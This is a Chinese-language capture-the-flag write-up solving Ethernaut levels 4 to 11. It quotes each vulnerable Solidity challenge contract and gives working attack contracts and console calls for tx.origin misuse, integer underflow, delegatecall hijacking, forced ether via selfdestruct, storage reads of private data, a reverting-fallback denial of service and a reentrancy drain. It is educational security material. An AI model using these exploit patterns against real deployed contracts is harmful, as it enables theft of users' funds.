Ethernaut(4-11)

我,更菜

level4 Telephone

要求

1
2
3
Claim ownership of the contract below to complete this level.
Things that might help
See the Help page above, section "Beyond the console"

题目内容一样的简洁,估计还是得合约来解决,这次就换liontreenb来迫害了 =D

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.18;

contract Telephone {

address public owner;

function Telephone() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}//tx.origin返回最初发送调用的帐户的地址
}

思路很明确,写一个智能合约,调用changeOwner,发送自己的账户地址。这样tx.origin是用户的地址,msg.sender是我们智能合约的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
contract liontreenb{
address public owner;
address public target;
Telephone public tel;
function liontreenb() public{
owner = msg.sender;
}
function init(address _target) public{
target = _target;
tel = Telephone(target);
}
function attack() public{
tel.changeOwner(msg.sender);
}
}

ok,liontreenb!!!!!!

level5 Token

1
2
3
4
The goal of this level is for you to hack the basic token contract below.
You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.
Things that might help:
What is an odometer?

emm,这次没有要写智能合约的内容,那就没人能迫害了,悲…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.4.18;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

里面所有变量都是uint类型,所以不管怎么加减,值都会是一个正整数,那就正整数下溢得到一个巨大的正整数。发送一个大于20的值即可。

1
contract.transfer(YOURADDRESS,21)

level6 Delegation

1
2
3
4
5
The goal of this level is for you claim ownership of the instance you are given.
Things that might help
Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
Fallback methods
Method ids

啊是pwn,但没有智能合约要写,没有pwn爷爷能迫害…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.18;

contract Delegate {

address public owner;

function Delegate(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}

当使用call调用其它合约的函数时,代码是在被调用的合约的环境里执行,对应的,使用delegatecall进行函数调用时代码则是在调用函数的合约的环境里执行。
于是,目标就是在msg.data里附上pwn的地址。

1
这里就涉及到使用call指定调用函数的操作,当你给call传入的第一个参数是四个字节时,那么合约就会默认这四个自己就是你要调用的函数,它会把这四个字节当作函数的id来寻找调用函数,而一个函数的id在以太坊的函数选择器的生成规则里就是其函数签名的sha3的前4bytes,函数前面就是带有括号括起来的参数类型列表的函数名称。

console里web3.sha3(“pwn()”)获得pwn()的sha3结果,似乎参数不一样,我拿其他sha3算出来不一样
转为二进制,截取前4个字节,再转回hex然后。

1
contract.sendTransaction({data:"0xdd365b8b"})

level7 Force

1
2
3
4
5
6
7
Some contracts will simply not take your money ¯\_(ツ)_/¯

The goal of this level is to make the balance of the contract greater than zero.
Things that might help:
Fallback methods
Sometimes the best way to attack a contract is with another contract.
See the Help page above, section "Beyond the console"
1
2
3
4
5
6
7
8
9
10
11
pragma solidity ^0.4.18;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

是猫猫,AWSL~
selfdestruct函数会销毁当前智能合约,并把当前智能合约里剩的eth强行转到一个地址里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pragma solidity ^0.4.18;


contract roverdogenb{
address public owner;
address public target;
Force public demo;
function roverdogenb() public payable{
owner = msg.sender;
}
function init(address _target) public {
target = _target;
}
function attack() public{
selfdestruct(target);
}
}

智能合约部署的时候,记得往里面存点钱。

level8 Vault

1
Unlock the vault to pass the level!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pragma solidity ^0.4.18;

contract Vault {
bool public locked;
bytes32 private password;

function Vault(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

啊,这……
智能合约每一次执行步骤都可见
web3.eth.getStorageAt()获取某个地址的特定位置的存储数据,这里必须有callback函数

1
web3.eth.getStorageAt(instance,1,function(x,y,z){alert(y)})

读出来的16进制转ascii,就是密码,然后unlock即可。

level9 King

1
2
3
The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD
Such a fun game. Your goal is to break it.
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

要求保持国王的身份。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract King is Ownable {

address public king;
uint public prize;

function King() public payable {
king = msg.sender;
prize = msg.value;
}

function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
}

如果我们没有定义fallback函数或者fallback函数没有payable修饰符或者fallback函数是revert,则transfer就一直会失败而回滚。所以下面的语句就不会执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.18;


contract amadeusnb{
address public owner;
address public target;
function amadeusnb(address _target) public payable{
owner = msg.sender;
target = _target;
target.call.gas(1000000).value(msg.value)();
}

function () public payable {
revert();
}
}

记得要转1.1ETH,之前写错了,丢进去了4个ETH…….

level10 Re-entrancy

有一说一,这题目现在每次都要吃掉最少2,3个ETH,我找的水管每10min只能给我整来1.5个:(

1
2
3
4
5
6
7
The goal of this level is for you to steal all the funds from the contract.
Things that might help:
Untrusted contracts can execute code where you least expect it.
Fallback methods
Throw/revert bubbling
Sometimes the best way to attack a contract is with another contract.
See the Help page above, section "Beyond the console"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

function() public payable {}
}

DAO攻击,balances的减少在call之后。
目标是想办法一直调用msg.sender.call.value(_amount)(),由于call在调用智能合约时,用的gas是原来合约所有的gas,所以可以运行很多次的递归。
可以考虑使用智能合约的fallback函数,重新调用withdraw来不断退钱。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
contract outofname{
address public owner;
address public target;
Reentrance public demo;
function outofname() public payable{
owner = msg.sender;
}

function init(address _addr) public payable{
target = _addr;
demo = Reentrance(target);
}

function attack() public{
demo.withdraw(0.2 ether);
}

function () public payable {
uint left = demo.balanceOf(this);
if(left >= 0.2 ether){
demo.withdraw(0.2 ether);
}
}

function destory() public{
selfdestruct(owner);
}//退回来的钱总的取回来的
}

level11 Elevator

1
2
3
4
This elevator won't let you reach the top of your building. Right?
Things that might help:
Sometimes solidity is not good at keeping promises.
This Elevator expects to be used from a Building.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.18;


interface Building {
function isLastFloor(uint) view public returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

目标是使得top为true,显然,他加载了msg.sender作为Building,于是我们可以尝试伪造isLastFloor函数,使得第一次访问时为返回为假,第二次返回时为真即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
contract outofname{
address public owner;
address public target;
bool public tmp;
Elevator public demo;
function outofname() public payable{
owner = msg.sender;
tmp = true;
}

function init(address _addr) public payable{
target = _addr;
demo = Elevator(target);
}

function isLastFloor(uint) view public returns (bool){
tmp = !tmp;
return tmp;
}
function attack() public{
demo.goTo(10);
}
function destory() public{
selfdestruct(owner);
}
}